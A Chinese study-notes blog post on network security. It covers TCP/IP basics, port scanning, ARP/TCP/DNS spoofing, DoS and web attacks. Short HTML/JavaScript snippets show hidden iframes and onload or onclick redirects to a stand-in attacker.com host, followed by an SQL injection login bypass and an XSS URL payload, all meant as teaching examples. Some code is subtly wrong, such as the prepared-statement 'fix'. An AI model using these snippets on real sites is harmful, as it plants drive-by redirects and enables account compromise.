10186 字
51 分钟
计算机网络安全技术

计算机网络基础#

TCP/IP协议架构#

TCP/IP(Transmission Control Protocol/Internet Protocol,传输控制协议/网际协议)1973年由斯坦福大学的文顿·瑟夫与卡恩提出,是一系列以TCP协议、IP协议为中心的协议组成的协议簇,它定义了一套数据在通信介质中传输的统一标准和规范,是全球网络中最广泛成熟的网络协议标准,我们目前使用的网络均是基于此标准的。

  • TCP/IP模型

    TCP/IP体系结构包括四层,从下往上依次为物理和数据链路层、网络层、传输层、应用层。

    • 物理和数据链路层

      定义了网络中设备链接时各种介质的物理链接特性以及数据在不同介质上的信息帧格式,实现在物理链路上无差错的传送数据帧,对应OSI/RM参考模型中的物理层和数据链路层。

      其内容包括各种广域网(Internet、ATM、X.25公共数据网)、各种局域网(Ethernet、各种IEEE标准局域网等)

    • 网络层

      提供数据分组传输、路由选择和网络管理的功能,以实现网络中点对点传输路径的寻址和联通。是TCP/IP中最重要的一层,对应OSI/RM参考模型中的网络层。

      其内容包括用于数据传输的IP协议、用于网络管理的SNMP协议、用于故障诊断ICMP协议、用于路由选择的RIP、OSPF等协议

    • 传输层

      负责提供源主机应用程序和目标主机应用程序之间数据的端到端传输服务,对应OSI/RM参考模型中的传输层

      其内容包括TCP协议和UDP协议

    • 应用层

      应用层包含了面向用户提供管理和网络服务的高层应用服务协议,对应OSI/RM参考模型中的应用层、表示层、会话层

      其内容包括FTP、HTTP、SMTP/POP3、DNS 、Telnet协议等

网络协议#

  • 物理和数据链路层协议

    • 以太网/Ethernet

      以太网是一种计算机局域网技术,由IEEE组织的IEEE 802.3组织制定,是应用最普遍的局域网技术

    • APR

      • MAC地址

        工作在网络层中的设备,可以通过IP地址识别数据包发送的源主机和目标主机。而数据包在实际的物理网络中传输时,主机和交换机则是通过MAC(Media Access Control Address,媒体存取控制位址)地址进行源主机和目标主机的交换和识别的

        MAC地址在网络设备出厂时就被生产商设定,具有全球唯一性。

      • ARP

        作为主机或网络设备中的唯一标识,物理网络中的数据帧都必须包含源主机和目标主机的MAC地址才能送达,在不知道目标主机的MAC地址时,就需要事先通过ARP(Address Resolution Protocol,地址解析协议)获取

        每台计算机内存中会保存一个ARP缓存表(可通过arp -a查看),其内容是动态更新的,如果目标主机的MAC地址未知,就需要通过ARP协议进行地址解析来获取

        解析时,源主机会在局域网中广播ARP Request数据包,询问目标IP地址的MAC地址,对应IP的主机收到后会响应ARP Reply数据包给源主机、告诉源主机自己的IP地址,接下来双方将对方MAC地址加入APR缓存表,两者便可通过MAC地址正常通信了

  • 网络层协议

    • IP协议

    IP协议可以实现跨域不同网络的主机间通信,目前分为IPv4和IPv6两个版本

    • IP地址

      IP协议中的主机通过IP地址进行标识。网络中的每台计算机或网络接口都有一个唯一的全局IP地址。IPv4的地址是一个32位二进制数,表示时分成4组用.隔开,每组8位最大值为255,分为网络号和主机号两部分。IPv6则提供128位二进制地址,表示时分成八组用:隔开,每组16位用十六进制数表示

      尽管大部分网络设备已支持IPv6,但IPv4协议依然是目前使用最广泛的版本。IPv4中定义了几个特殊IP

      • 主机号全0 网络地址:表示一个网络的本网络地址(192.168.1.0)
      • 主机号全1 直接广播地址:表示特定网络中的所有设备(192.168.1.255)
      • 全1 受限广播地址:表示本网络中的所有设备(255.255.255.255)
      • 自环地址:表示本设备(127.0.0.1)

      IP地址由ICANN(The Internet Corporation for Assigned Names and Numbers,互联网名称与数字地址分配机构)动态分配,国内由工信部直属CNNIC(China Internet Network Information Center,中国互联网信息中心)行使职权

    • ICMP协议

    在复杂网络环境中需要一套机制用于网络异常状态的检测和诊断。ICMP(Internet Control Message Protocol,Internet控制报文协议)的作用便是在TCP/IP网络中发送出错和控制消息,允许主机或网络设备报告差错或异常情况,从而提供一个错误侦测与反馈机制

  • 传输层协议

    • TCP协议

    TCP(Transmission Control Protocol,传输控制协议)是一种广泛使用的、面向连接的、可靠的传输层协议,通过握手机制、滑动窗口控制流机制以及确认及超时重传机制实现了端到端的可靠连接

    • 三次握手

      TCP是面向连接的协议,它要先建立连接才能进行数据传输。在连接的建立是通过三次握手机制实现的

      TCP数据包中包含了一个一位的SYN标志位、一位的ACK标志位、一个32位的序号、一个32位的确认号用于建立连接

      • 第一次握手

        源主机向目标主机发送一个SYN标志位为1,数据包序号SEQ为x的数据包,表示请求连接

      • 第二次握手

        目标主机返回一个SYN、ACK标志位均为1的数据包,并将序号SEQ设为y,确认号设为x+1,表示同意建立连接

      • 第三次握手

        源主机收到同意连接的数据包后,向目标主机发送一个ACK标志位为1,序号SEQ为x+1,确认号为y+1的数据包,至此TCP连接建立

    • UDP协议

      UDP(User Datagram Protocol,用户数据报协议)是一个面向无连接的、不可靠的传输协议。相比TCP,UDP无需建立连接就可以直接传输数据,因而在传输速度上优于TCP,主要用于流媒体播放等网络要求高而不要求100%送达的场景

  • 应用层协议

    • HTTP协议

      HTTP(Hypertext Transfer Protocol,超文本域传输协议)是Web服务的核心协议,交互过程基于C/S模式,在传输层基于TCP协议,在80端口对外提供服务,目前由WWW联盟的IETF(Internet Engineering Task Force)小组负责完善和发布

    • SMTP/POP3协议

      SMTP(Simple Mail Transfer Protocol,简单邮件传输协议)主要作用是将电子邮件发送到邮件服务器,是电子邮件系统中的重要协议,基于TCP协议,在25端口提供服务

      POP3(Post Office Protocol 3,邮局协议第三版)定义了计算机连接到邮件服务器并下载电子邮件的规范,是应用最广范的邮件访问协议

    • DNS

      DNS(Domain Name System,域名系统)主要作用是将Internet中的相对容易记忆的域名解析成难以记忆的相应IP地址,配置并支持DNS功能的服务器称为DNS服务器

      DNS域名系统采用层次化命名的方式,一个域由若干子域构成,整个结构可以用树形图表示,顶级域是树形图的根节点,下面是一些一级域名,包括通用域.com、.edu、.gov、.net、.org等和每个国家或地区都有一个的国家域.cn、.en、.uk、.jp、.hk等

      DNS解析的过程首先由用户计算机上的DNS客户端发起,本地DNS服务器接到请求后首先查看缓存,如果有则返回,如果没有则向根域名服务器请求另一个根的子域的的域名服务器地址并重复这一步直到找到解析记录,再将该记录放入缓存并返回给DNS客户端

网络安全威胁技术#

扫描技术#

扫描技术是实施网络攻击前的必要的信息收集步骤,可以获取攻击目标的IP、端口、操作系统、存在的漏洞等必要信息,为实施下一步攻击做好准备

  • 互联网信息收集

    在当今这个互联网异常发达的时代,通过互联网可以得到目标计算机大量的外围信息,如通过Whois查询域名注册的相关信息、通过搜索引擎查找敏感信息等

  • IP地址扫描(ICMP)

    IP地址扫描主要发生在网络攻击开始阶段,用于获取目标计算机及其外围网络的网段和对应网段中处于开机状态的设备。可以通过ping命令发布用于诊断网络的ICMP探测数据包echo request,如果目标IP可用将返回一个ICMP应答包echo replay,后续便可对此IP展开攻击。也可使用专用工具(Nmap、SuperScan)等进行扫描,原理大致相同

  • 网络端口扫描(TCP/UDP)

    传输层TCP协议和UDP协议定义了一个计算机与计算机之间通信的虚拟信道叫端口(Port),其范围为0~65535,TCP协议中通过套接字(Socket)建立连接,套接字采用[IP]形式定义,一个套接字对应一个主机上的一个网络服务进程。因此,利用端口扫描便可判断出目标计算机中正在运行的网络服务进程,常用Nmap、SuperScan、Netcat等软件进行

    • TCP全连接扫描

      TCP全连接扫描利用三次握手机制建立连接来探测目标主机的网络端口是否处于打开状态,但这种扫描会是源主机与目标主机的TCP连接处于ESTABLISHED状态,所以容易被检测出来

    • TCP SYN扫描

      TCP SYN扫描也称TCP半连接扫描,它利用三次握手机制前两次来探测目标端口是否打开,由于没有正常建立连接,所以降低了被发现的可能,也提高了扫描性能

    • TCP FIN扫描

      TCP FIN扫描采用发送FIN标志位位1的数据包给目标端口的方式,如果端口关闭,目标主机将返回一个RST标志位为1的数据包,否则不返回数据,以此判断目标端口是否开放。由于没有采用三次握手机制,TCP FIN扫描比前两者更为隐秘,但在一些操作系统,如Windows NT中无论端口是否开放都会返回数据包,这种方法就不适用了

    • UDP ICMP端口不可达扫描

      UDP的ICMP端口不可达扫描利用UDP协议中向一个未打开端口发送UDP数据包会返回一个ICMP_PORT_UNREACHABLE错误的ICMP数据包的特性,根据是否收到该数据包就能判断UDP端口是否开启

  • 漏洞扫描

    获取目标主机IP和端口之后下一步就要检测目标主机和网络中存在的安全漏洞以进行入侵,漏洞扫描分为网络漏洞扫描和主机漏洞扫描两种

    • 网络漏洞扫描

      网络漏洞扫描工具针对网络中的主机和设备发送漏洞探测数据包进行扫描,其内部一般配置大量漏洞的模拟攻击脚本和代码,通过运行这些脚本和代码来判断目标主机是否存在对应漏洞,常用Nessus、X-Scan软件进行网络漏洞扫描

    • 主机漏洞扫描

      主机漏洞扫描工具针对本机通过漏洞特征匹配技术和补丁安装信息的检测来进行操作系统和应用软件的漏洞检测。常用Nessus软件进行主机漏洞扫描

  • 弱口令扫描

    弱口令扫描是通过扫描得到可远程登录的服务器的相关用户名、口令的技术

    • 字典攻击

      字典攻击通过事先构造常用口令进行匹配来破解口令,这些常用口令大多是其它服务器已泄漏的用户口令和一些常用单词、数字、字符串组合,因而效率较高,但无法破解所有口令

    • 穷举攻击

      穷举攻击通过构造所有可能的口令进行匹配来破解口令,穷举攻击在有限时间内必定能破解口令,但所用时间太长、效率太低,所以常与字典攻击搭配使用来进行弱口令扫描

网络嗅探#

正常情况下。网络接口只能接受目标MAC地址为自身MAC地址的数据帧,但网络嗅探工具会将网络端口设为“混杂”(Promiscuous)模式,使其能接受同一物理网络中的所有数据帧,达到监听整个物理网络的效果

通过网络嗅探可以获得目标计算机传输的大量信息,是一种威胁极大的信息获取攻击技术

网络嗅探分为硬件与软件两种,软件嗅探工具特定条件下无法抓取到所有数据帧,硬件嗅探工具价格往往比较昂贵,攻击者常用网络嗅探软件和木马中的网络嗅探功能进行对目标主机传输数据的嗅探和分析

网络协议欺骗#

  • IP地址欺骗

    IP地址欺骗是指网络攻击者伪造第三方的IP地址给被目标主机发送含伪造IP地址的数据包进行欺骗的行为,由于TCP/IP中缺乏对发送方的认证手段,所以攻击者可以轻易进行IP地址欺骗,但由于目标主机返回的数据包中目标地址为伪造的IP地址,攻击者无法接受到,所以IP地址欺骗单独攻击造成影响不大,常与其它攻击方式配合使用

  • ARP欺骗

ARP欺骗利用ARP协议对物理网络中的目标设备发送ARP数据包试其建立错误的IP与MAC地址对应关系达到欺骗的目的

  • 中间人欺骗攻击

    假设局域网环境中有AB两台计算机,攻击者可以向A发送伪造的ARP数据包,将A的ARP缓存表中B的IP对应MAC地址更改为攻击者的MAC地址,同时向B发送伪造的ARP数据包将B的ARP缓存表中A的IP对应MAC地址更改为攻击者MAC地址,这样AB间通信的数据包都将发送给攻击者,攻击者再对二者数据包进行转发,便能达到获取AB正常通信中的所有数据包的效果

  • 伪装网关欺骗攻击

    当局域网中的设备想与外界通信时,要将数据帧目标MAC地址设为网关MAC地址,再由网关转发到外网。因此,攻击者可以利用伪造ARP数据包将局域网中所有主机的网关IP对应的MAC地址改为攻击者的MAC地址,再由攻击者将数据帧转发给网关以达到获取局域网向外界发送的所有数据包的目的

    当网关IP对应一个不存在的MAC地址时,局域网内便无法与外界进行通信,这也是ARP病毒发作时能瘫痪和中断网络通信的原理

  • TCP欺骗

    TCP欺骗指攻击者 在伪造第三方IP的条件下,将数据加载到基于TCP协议传输的应用数据包中发送到目标主机,以实现使目标主机与第三方主机传输数据泄漏或者造成数据被破坏的攻击

    TCP协议中采用基于序列号的确认重传机制确保数据包传输可靠。TCP欺骗过程中,当攻击者冒充A主机与B主机建立TCP连接时,攻击者无法接受B主机返回给A主机的数据包,因而需要推断B主机第二次握手时产生的初始序列号来建立连接

    TCP初始序列号常用生成方法有三种,一种是64K规则,即在原有序列号上增加常量64000作为新的序列号;一种是依据时间生成序列号;另一种是直接用伪随机数作为序列号

    • 非盲攻击

      非盲攻击指B主机与攻击者在同一物理网络下,攻击者可利用网络嗅探技术获得B主机发送给A的数据包。非盲攻击分为5步

      1. 攻击者确定A主机离线或使用其它手段(DDoS、ARP欺骗等)使A无法正常接受B发送的数据包
      2. 攻击者使用A主机的IP地址向B主机发送第一次握手数据包
      3. B主机向A主机发送回应的第二次握手数据包,其中包含B主机产生的初始序列号,而此时A主机处于瘫痪状态无法正常接收并返回数据包,攻击者此时可利用网络嗅探技术获得该数据包,并得到其中的序列号
      4. 攻击者利用得到的序列号冒充A主机向B主机返回第三次握手数据包,至此TCP连接建立
      5. 连接建立后,攻击者便可以冒充A主机向B主机发送伪造的数据包了
    • 盲攻击

      盲攻击指B主机与攻击者不在同一物理网络的情况下,攻击者无法获得B主机发送给A主机的数据包

      盲攻击的步骤与非盲攻击相似,区别在第3步无法获得B主机返回的第二次握手数据包,需利用算法预测B主机生成的初始序列号以及第5步中无法获得B主机返回的数据包,无法进行双向通讯,因此盲攻击难度较大

      盲攻击过程中也可使用路由欺骗技术(ARP欺骗)将B返回的数据包路由到攻击者上以提高成功率

  • DNS欺骗

    • 基于DNS服务器的欺骗

      基于DNS服务器的DNS欺骗对象为DNS服务器。攻击者先向目标DNS服务器发送域名地址查询请求,DNS服务器在没有该域名缓存的情况下会向高级DNS服务器发出请求,此时攻击者便可以伪造高级DNS服务器返回伪造的解析记录以此将伪造的解析记录存入目标DNS服务器,接下来用户向该DNS服务器查询该域名时便会返回攻击者伪造的IP地址了

    • 基于用户计算机的欺骗

      基于用户计算机的DNS欺骗对象为DNS服务器。攻击者可以利用目标计算机网络内感染ARP病毒的主机冒充网关拦截目标主机向外网的DNS服务器发出的DNS询问请求,并返回伪造数据而达到对目标主机的DNS欺骗的目的

诱骗式攻击#

诱骗攻击指通过伪造合成的具有高迷惑性的信息,诱骗用户进行访问,从而诱导用户触发恶意代码或者骗取被攻击者的敏感信息,达到攻击者入侵系统获取敏感信息的目的

网络协议欺骗是攻击者利用网络协议设计的机制缺陷主动发起的攻击,而诱骗式攻击则利用社会工程中的欺骗技术诱骗用户实施攻击

  • 网站挂马

    网站挂马是指网站中的网页被攻击者恶意修改后,添加了可以触发并下载恶意程序的链接以及恶意代码和脚本。当用户访问这些网站时,如果自身计算机的Web浏览器及插件中存在安全漏洞,那么这些安全漏洞就会被网页中的恶意代码和脚本进行利用,最终在用户不知情的情况下,使用户自动访问网页中的恶意链接甚至自动下载木马病毒

    • 框架挂马

      框架挂马利用网页中隐藏的iframe框架,在打开网页时打开对应的恶意网页或执行恶意脚本,是最早的一种有效挂马方式

      <iframe src="http://attacker.com/attackScript.html" width=0 height=0></iframe>
      
      <html>
       <script src="attrackScript.js" ></script>
      </html>
      
    • js脚本挂马

      js脚本挂马指将网页木马的代码写入到js脚本文件中,利用用户打开网页时js脚本文件被调用的方法使js脚本中的网页木马被隐蔽执行

      //with iframe
      document.write("<iframe src=\"http://attacker.com/attackScript.html\" width=0 height=0></iframe>");
      
      //directly with JavaScript
      document.write("<script src=\"attrackScript.js\" ></script>");
      
    • body挂马

      body挂马是指通过HTML文件的body标记添加恶意网页地址,从而进行挂马的技术

      <body onload="window.location=\&quot http://attacker.html.com/attackScript.html\&quot"></body>
      
      
      <body onload="document.write(&quot <iframe src=\&quot http://attacker.com/attackScript.html\&quot width=0 height=0></iframe> &quot);"></body>
      <body onload="document.write(&quot<script src=\&quot attrackScript.js\&quot ></script>&quot);"></body>
      
    • 伪装欺骗挂马

      伪装欺骗挂马指在网页中的某些图片、链接等特定位置处嵌入含有恶意网址的链接代码,从而实现用户点击网页中的图片、链接等特定位置时实现访问恶意网站的目的

      1. 图片伪装

        图片伪装指用户点击网页中的图片后在图片打开之前执行恶意代码

        <img src="2.jpg" onclick="window.location=&quot http://attacker.com/attackScript.html &quot;"></img>
        
      2. 调用伪装

        调用伪装利用frameset(HTML5已废弃)实现在调用某个链接之后运行隐藏框架中的内容

        <frameset rows="100px,0">
            <iframe src="www.baidu.com"></iframe>
            <iframe src="attracker.com/attrackScript.html"></iframe>
        </frameset>
        
      3. 网页链接伪装

        网页链接伪装指在网页中伪装一个可信网址的地址链接,用户点击后实际链接到一个载有木马的网页

        <a onMouseOver="www_baidu_com();return true;" href="http://www.baidu.com" >baidu</a>
        <script>
        function www_baidu_com(){
            open("http://attracker.com/attrackScript.html","newwindow","width=400,height=400,top=200,left=200,scrollbars=0,toolbar=no,location=no,status=no");
        }
        </script>
        
  • 诱骗下载

    诱骗下载指攻击者将木马病毒与图片、flash动画、文本文件、应用软件等多种格式的文件进行捆绑,将捆绑后的文件配以迷惑性或欺骗性的文件名在网络中发布散播以诱使用户点击下载,用户点击后不仅打开了正常的图片、flash文件、文本文件和应用软件,同时也释放了其中的木马病毒

    • 文件捆绑技术

      1. 多文件捆绑方式

        多文件捆绑方式是最简单的捆绑方式,捆绑时手动构建一个空白PE文件,将待捆绑文件全部附加到新文件尾,并记下开始位置和文件大小作为偏移量存在新文件的PE头中,使得该文件运行时会顺序执行所有待捆绑文件

      2. 资源融合捆绑方式

        PE头中的资源区段包含文件调用的资源信息,捆绑者可以将待捆绑文件作为资源信息通过更新的方式写入被捆绑文件头文件以达到捆绑的目的

      3. 漏洞利用捆绑方式

        漏洞利用方式将不同漏洞触发代码、shellcode和待捆绑程序写入载体文件中,一旦打开这些载体文件的应用程序存在对应漏洞,漏洞触发代码就会被执行,然后通过shellcode跳转到待捆绑程序执行

  • 钓鱼网站

    钓鱼网站是一种黑客实施网络欺诈的伪造网站。为窃取用户信息而伪造真实网站,一般与真实网站有相似域名和相同页面,技术含量不高,主要利用人们的心理和社会工程学方法诱骗受害者上钩,一旦受害者填写敏感资料便会导致信息泄漏,甚至带来经济损失

    钓鱼网站可以和DNS欺骗等网络协议欺骗技术结合使用,使其更具迷惑性

  • 社会工程学

    社会工程学(Social Engineering,又称社交工程学)于上世纪60年代建立,目的是建立理论并通过利用自然的、社会的和制度上的途径来逐步地解决各种复杂的社会问题,是一门针对受害者好奇心、贪婪、心理弱点、本能反应等特点而采取的欺骗、陷阱、伤害等危害手段,以取得利益回报的学问

    社会工程学主要分为公安社会工程学和网络社会工程学。诱骗式攻击的深层本质是对社会工程学的实际应用

软件漏洞攻击利用技术#

软件漏洞是指计算机系统中的软件在具体的实现、运行、机制、策略上存在的缺陷或者脆弱点。软件漏洞一旦被利用,最坏的情况可以获得计算机系统的额外权限,使攻击者能够在未授权的情况下对计算机系统的安全造成损坏

软件漏洞攻击技术可以分为直接网络攻击技术和诱骗式网络攻击技术

  • 直接网络攻击

    直接网络攻击指攻击者直接通过网络对目标系统发起主动攻击。针对队外提供开放网络服务的操作系统服务程序漏洞可以直接通过网络攻击方式发起攻击

    2001年“红色代码”病毒利用Microsoft IIS服务程序处理请求数据时存在缓冲区溢出漏洞

    2002年“冲击波”病毒利用Microsoft RPC处理TCP/IP消息时存在缓冲区溢出漏洞

    2004年“震荡波”病毒利用Microsoft LSASS服务中的缓冲区溢出漏洞

  • 诱骗式网络攻击

    对于没有开放网络端口不提供对外服务的软件漏洞,攻击者无法通过网络发起攻击,因而只能使用诱骗式网络攻击,诱骗式网络攻击分为基于网站的间接式诱骗网络攻击和网络传播本地诱骗点击攻击

    • 基于网站的诱骗式间接网络攻击

      对于浏览器软件或其他需要处理网页的软件漏洞,攻击者可以通过搭建网站或篡改被其控制的网站结合网站挂马技术将含有漏洞触发代码的文件或脚本嵌入到网页中诱使用户访问,其软件中的漏洞便会被触发,从而实现漏洞利用攻击

    • 网络传播本地诱骗点击攻击

      对于其他软件中的本地执行漏洞,需要在本地执行漏洞利用程序才能触发。因此,攻击者需要先通过诱骗下载等技术使用户将含漏洞触发代码的文件保存到本地并运行才能实现漏洞利用攻击

拒绝服务攻击#

服务拒绝攻击(Denial of Service,DoS)是指攻击者向目标计算机发出数量众多的攻击数据包,消耗目标计算机大量网络宽带和计算机资源,使得目标计算机没有剩余宽带和资源给正常用户的服务请求提供响应的一种攻击方式。这种攻击方式缺乏有效的防御手段,危害十分巨大

微软表示,它在去年8月份抵御了 2.4Tbps 的分布式拒绝服务(DDoS)攻击。这次攻击的目标是欧洲的一个 Azure 客户,比微软在 2020 年的最高攻击带宽量高出 140%,还超过了去年针对亚马逊 Web 服务的 2.3Tbps 最大攻击

微软表示,这次攻击持续了 10 多分钟,短暂的流量爆发达到了 2.4Tbps、0.55Tbps,最后一次为 1.7Tbps

今年8月,Google报告称发现一次大规模DDoS,对方尝试关闭其Cloud Armor服务,峰值达每秒4600万个请求(RPS),规模相当于此前记录的176.92%,这使其成为有史以来最大的一次分布式拒绝服务攻击

谷歌解释说,在高峰期,这种攻击相当于在 10 秒内实现一整天的 Wikipedia 访问量,因此能够抵御如此强大的 DDoS 攻击是一项令人难以置信的壮举

谷歌的研究人员详细介绍了来自HTTPS DDoS事件的流量是通过132个国家的5256个IP地址发送的。分析攻击的来源表明,Mēris参与了攻击,它是之前两个DDoS记录保有量(分别为1720万RPS和2180万RPS)背后的僵尸网络

  • IP层协议攻击

    IP层协议的攻击是DoS最低层次的攻击,攻击方通过大量发送ICMP和IGMP协议的请求数据包使目标主机的资源全部用于应答这些数据包,从而造成目标主机的拒绝服务,完全靠数量取胜,不需要太多策略

  • TCP协议攻击

    • TCP SYN-Flood TCP ACK-Flood

      TCP SYN-Flood和ACK-Flood攻击是利用TCP协议本身安全缺陷的攻击,两者均事用伪造IP向目标主机发送大量TCP握手数据包,在目标主机形成大量半开连接,消耗极大系统资源直到耗尽

      TCP SYN-Flood和ACK-Flood因其要使用大量数据包才能达到攻击目的,所以得名“洪水攻击”,二者区别在于SYN-Flood发送第一次握手请求数据包,而ACK-Flood发送ACK标志为1的数据包

    • TCP全连接攻击

      TCP全连接攻击中,攻击者计算机发起多个线程连接目标主机TCP服务端口,然后断开重复连接,不断循环,可以很快导致目标端口的连接资源被耗尽,但很容易被防火墙识别

      另一种方法是保持长时间连接使目标计算机资源耗尽而崩溃,这种攻击看起来非常像对目标主机的合法网络访问,防火墙难以识别和防御,但需要大量协助攻击的僵尸计算机

  • UDP协议攻击

    UDP-Flood是一种宽带消耗型DoS,攻击者制造出巨大流量的UDP数据包发送到目标主机从而完全占满目标主机的网络宽带,达到拒绝服务效果

    如果对53端口上的DNS服务器发动DoS大量查询不存在域名,还会导致DNS服务器向上级服务器发送大量递归查询数据包,产生连锁反应

  • 应用层协议攻击

    应用层协议的DOS攻击是脚本洪水攻击。攻击者利用代理服务器对Web服务器发出大量HTTP GET请求,如果对方是动态Web服务器,大量的GET请求会对后端数据库造成极大负载甚至无法正常响应,从而达到拒绝服务效果

    由于发送HTTP请求需要建立正常的TCP连接,因而会暴露攻击者IP地址

  • DDoS

    分布式拒绝服务攻击(Distributed DoS,DDoS)攻击是在DoS基础上大量控制第三方计算机辅助其进行攻击的一种攻击方式

    由于攻击者主机性能往往低于目标主机,因此DoS攻击效果并不明显,此时攻击者可以将其非法控制的分布于各地的大量计算机统一协调起来,向目标计算机发起DoS攻击,造成的流量使高性能的目标主机也无法承受,同时由于攻击流量来自不同IP地址,防火墙难以分辨和防御,因而这种攻击往往会获得比较好的效果

    DDoS攻击由攻击者、主控端和代理端(肉鸡)组成,主控端和代理端上都安装了攻击者的远程控制程序,主控端主机可以接受命令并操作代理端完成对目标主机的攻击

    DDoS攻击中的主控端和代理端如同僵尸一般在浑然不觉中发动攻击,因此DDoS攻击利用的网络被称为僵尸网络。DDoS最初利用互联网中的计算机设备发动,2015年以来DDoS利用的网络拓展到物联网。近年来,IoT设备大多接入互联网,但处理性能低下,人们对其安全重视程度普遍不高,攻击者可以轻松地对这些设备发起攻击实现远程控制,使得路由器、摄像头和工业控制系统等一类设备成为代理端的理想选择,也成为了DDoS流量的主要来源

Web脚本攻击#

Web脚本攻击总体上指针对Web网站发起的攻击。Web安全可以分为Web服务器端应用安全和Web客户端脚本安全。针对Web客户端发起的攻击技术主要包括跨站脚本攻击、跨站请求伪造攻击、点击劫持攻击等,针对Web服务端发起的攻击技术主要包括注入攻击、访问控制攻击、非授权的认证和会话攻击等。

据OWASP(Open Web Application Security Project,开源Web应用安全项目)调查显示,Web应用的前十大安全风险分别是:

  1. 注入式攻击
  2. 跨站脚本攻击
  3. 错误的认证和会话管理
  4. 不安全的直接对象引用
  5. 跨站请求伪造
  6. 不安全的配置管理
  7. 失败的URL访问限制
  8. 未验证的网址重定向和传递
  9. 不安全的加密存储
  10. 不安全的传输层保护
  • 注入攻击

    注入漏洞是Web中广泛存在的漏洞类型,基本原理是利用Web程序对用户输入请求中的非法字符过滤不严使Web程序将用户输入的异常字符当作正常代码执行,从而使用户在未授权情况下非法获取Web服务器信息。

    注入攻击主要包括SQL注入、代码注入、命令注入、LDAP注入、XPath注入等。

    • SQL注入

      SQL(Standard Query Language,标准查询语言)是大多数数据库使用的查询语言,用户输入的条件会被拼接成完整SQL语句发送到数据库进行查询,在此过程中如果没有对输入进行严格检查,就会产生SQL注入漏洞。

      如以下SQL语句

      SELECT * FROM tb_users WHERE userid='admin' AND passwd='passwd'
      

      其作用是查询tb_users表中userid字段为admin、passwd字段为passwd的所有记录,如果查询到对应记录,则身份认证通过,用户可以登录。

      如果服务端使用以下方式直接拼接字符串

      String passwd = request.getParameter("passwd");
      String username = request.getParameter("user");
      String sql = "SELECT * FROM tb_users WHERE userid='" + username + "' AND passwd='" + passwd + "'";
      PreparedStatement ps = connect.prepareStatement(sql);
      Result rs = ps.executeQuery();
      

      那么当用户提交userid字段为admin’—时,实际发送到服务端数据库中的SQL语句为

      SELECT * FROM tb_users WHERE userid='admin'--' AND passwd=''
      

      其中--为SQL中的注释符号,其后内容都将被忽略,数据库实际解析到的SQL语句为

      SELECT * FROM tb_users WHERE userid='admin'
      

      该语句将在不验证密码的情况下返回用户admin的记录,服务器web应用程序便会误以为该攻击者已通过身份验证,攻击者得以绕过鉴权获得非法信息甚至登入特殊账户对系统进行更改

      对于以上实例,可以通过预编译来避免

      String passwd = request.getParameter("passwd");
      String username = request.getParameter("user");
      String sql = "SELECT * FROM tb_users WHERE userid= ? AND passwd= ?";
      PreparedStatement ps = connect.prepareStatement(sql);
      ps.setString(username,passwd);
      Result rs = ps.executeQuery();
      

      由于传入向查询语句(PerparedStatement对象)传入参数时,语句已经经过预编译,语义已经固定,因而所有传入的参数都将无条件视为字符串被嵌入执行而不会引发注入攻击了

  • 跨站脚本攻击

    跨站脚本攻击(Cross-Site Scripting,本应缩写作CSS,但为防止与层叠样式表(Cascading Style Sheets, CSS)混淆而缩写作XSS)利用Web客户端程序对Web页面中输入的数据过滤不严或未进行过滤的漏洞,向Web页面中插入恶意代码,用户浏览该页面时浏览器会自动执行这些代码,从而实现在用户浏览器中显示恶意脚本、控制用户浏览器或窃取用户资料的目的。

    如以下代码

    var username = window.location.search.substr(1).match(new RegExp("(^|&)username=([^&]*)(&|$)"));
    document.write("Hello "+username);
    

    如果攻击者诱导用户发送以下请求

    http://www.xss.com/xss?username=<script src="xss.js"></script>
    

    浏览器便会解析执行xss.js文件中的攻击脚本

    • 反射型XSS

      反射型XSS也叫非持久型XSS(None-Persistent Cross-Site Scripting),一般是攻击者向受害者发送一个带有恶意脚本的URL,然后诱导用户点击以实现XSS,如上述例子便是典型的反射性XSS攻击。

    • 存储型XSS

      与反射型相对,存储型XSS又被称作持久型XXS(Persistant Cross-Site Scripting),攻击者一般会将恶意脚本存储在Web服务端的页面中,一般是嵌入在博客或BBS类型网站的帖子中,当用户浏览该帖子时,嵌入在其中的XSS脚本便会被浏览器解析执行,导致跨站脚本漏洞攻击。

    • DOM-Based XSS

      DOM(Document Object Model,文档对象模型)是HTML实现的一种编程接口。我们熟悉的Web页面均是由一棵包含多个、多层节点的DOM树组成的。它并非按照攻击数据是否存储在服务端划分,而是按照其效果:改变了DOM树划分。

      上述例子在文档中添加了一个标记节点,因而也是一个DOM-Based XSS。

  • 跨站请求伪造

    跨站请求伪造攻击(Cross Site Request Forgery,CSRF)是在XSS基础上建立的变种。

    跨站请求伪造攻击利用浏览器不同页面之间共享同域会话认证信息的机制。当用户登录某一个Web应用后,该应用会返回给浏览器会话认证信息,即Cookie数据,此后对该应用的所有请求浏览器都会在请求中附加Cookie数据,Web服务器以此对该请求进行鉴权。

    攻击者往往通过XSS使受害者在无意中向被攻击Web应用发送请求,而该请求会被浏览器自动加上Cookie数据,使得攻击者在受害者毫不知情的情况下利用其身份对Web应用发送了请求,攻击者可以以此获得该Web应用中关于被害者的敏感数据或篡改相关数据。

    CSRF可以通过跨域策略来进行初步防范。当浏览器向Web服务器发送异步请求(AJAX)时,Web服务器向浏览器返回的数据中会包含一个cross-origin-resource-policy信息规定跨域策略和一个access-control-allow-origin信息规定可以跨域访问该请求的域,如果信息不符,浏览器便会拒绝处理该请求。此外,CSRF还可以通过敏感操作让用户手动输入验证码和在请求中加入客户端服务端同步生成的随机数来防范。

远程控制#

  • 木马
  • Webshell

网络安全防护技术#

防火墙#

  • 包过滤技术
  • 状态检测技术
  • 地址翻译技术

入侵检测与入侵防御系统#

  • 误用检测技术
  • 异常检测技术

PKI#

  • 数字证书
  • 证书认证机构

VPN#

  • 第二层隧道协议
  • MPLS VPN
  • 第三层隧道协议

网络安全协议#

  • SSL
计算机网络安全技术
https://ssl.ztsubaki.xyz/posts/2/2/
作者
ZTsubaki
发布于
2022-10-16
许可协议
CC BY-SA 4.0